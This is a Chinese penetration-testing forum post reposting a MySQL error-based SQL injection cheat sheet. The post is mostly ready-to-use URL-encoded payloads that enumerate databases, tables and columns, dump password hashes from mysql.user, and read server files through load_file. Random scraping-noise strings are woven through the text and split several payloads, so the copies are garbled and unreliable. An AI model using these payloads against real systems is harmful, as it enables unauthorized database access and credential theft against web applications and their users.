中国网络渗透测试联盟

标题: Mysql暴错注入参考（pdf） [打印本页]
作者: admin    时间: 2013-7-27 11:00
标题: Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
+ C. o5 `. ]& @/ T0 ?; |# b9 W4 U3 J5 @* H& |$ f5 {: e
+ C2 d& n5 j) j, g; e
Mysql暴错注入参考（pdf），每天一贴。。。
" W$ m* A7 `% }; y
& F$ x+ {5 v$ p4 ]6 M  c6 t7 VMySql Error Based Injection Reference
$ `: M8 [: y, P: {[Mysql暴错注入参考]
/ W! S- T  n( F- \* ^; uAuthornig0s1992' h- ~( D( g% r! d1 P' i& H0 {( x/ @
Blog:http://pnig0s1992.blog.51cto.com/
( p6 b3 X8 {; h# B# ?TeAm:http://www.FreeBuf.com/
: z: o$ `- J2 [+ u8 I+ MMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
# O" W2 \! }) V2 O4 @3 @小部分版本使用name_const()时会报错.可以用给出的Method.2测试  t% a( b% l+ U3 M* x  i% _
查询版本:
# c: m7 S1 v6 W/ A# b. B/ Y% g* i5 kMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+! e* t/ i! }+ F  C; T" {8 ]: Y
join+(select+name_const(@@version,0))b)c)
7 U; R' K8 V4 s8 \5 S. Z1 TMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro5 ^1 J" J( N2 C' ?* Z: s5 [
up by a)b)
0 B& `, X9 _6 R9 L% z/ d) _! X查询当前用户:; l3 m, n3 B  u7 y
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
8 {4 I. W4 |: D  r7 T1 s8 cMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r! Z4 O/ f0 e; I$ |* Y. q
and(0)*2))x+from+information_schema.tables+group+by+x)a)! W; U. |  y: v
查询当前数据库:
) N0 ?2 W, s0 m/ V0 F0 P1 v" @Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
3 p" U- d% D- ^" e; X% q9 o( Z& ?Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
% D+ Y1 B, _" t% A& E# Lor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)0 q! Z' Z: C1 P' u6 Q& {0 W( H
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
, |4 h: _" I* g0 |1 BLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
( H: w: G* m: d( s顺序替换
6 J% H" E$ Z" U% H5 t- b爆指定库数目:1 V. y! i# Q3 U  ~  {0 o
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
4 k! G) a9 d  K+ Cable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group/ E  W6 p$ l! }9 U( O
+by+x)a)+and+1=1 0x6D7973716C=mysql
! j* g1 V8 F; o) g依次爆表:% i+ @6 b# Z4 }5 K, ?* R( ^
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t" q1 X5 h6 [# ~2 B
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta/ W: ^1 T4 |5 t/ \) \
bles+group+by+x)a)+and+1=1
0 Q5 D" z  R( I& T& O0x6D7973716C=Mysql 将n顺序替换5 T# X0 B, E0 d6 d; ], I& D
爆表内字段数目:
- y$ r  h; f* E* Jand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
  i9 F9 u9 O# i- o+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
: `& |# u, Q) i% T) h9 N0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
, m( g% l- L; U& H9 n依次爆字段:, g" X7 n! u/ b( F$ @
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where* W7 u' O. |* ?3 I* |7 T
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,11 s3 p' I/ A. w, F
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换/ n8 O4 t5 x. g. ~8 s/ \2 f% S3 X+ r
依次暴内容:
5 ^, h0 j1 m! q# Fand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche% k! P7 v4 f- U% E7 S& X
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  e/ c* q. x# t. u' u# n- \) M
将n顺序替换
; A5 V2 \2 }0 {# w) k爆文件内容:
1 F. x% a) M8 @( @5 @( X* Vand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
3 g& N' `% u/ A+ D& hfrom+information_schema.tables+group+by+a)b)
4 P- G( S7 F/ j0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
8 I8 f. H/ v! y7 kThx for reading.
% k7 Z1 r+ J3 m5 v
* F; W7 N; p1 z$ o3 ]  u+ @不要下载也可以， $ \+ @6 u* E9 m/ X: [/ I




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2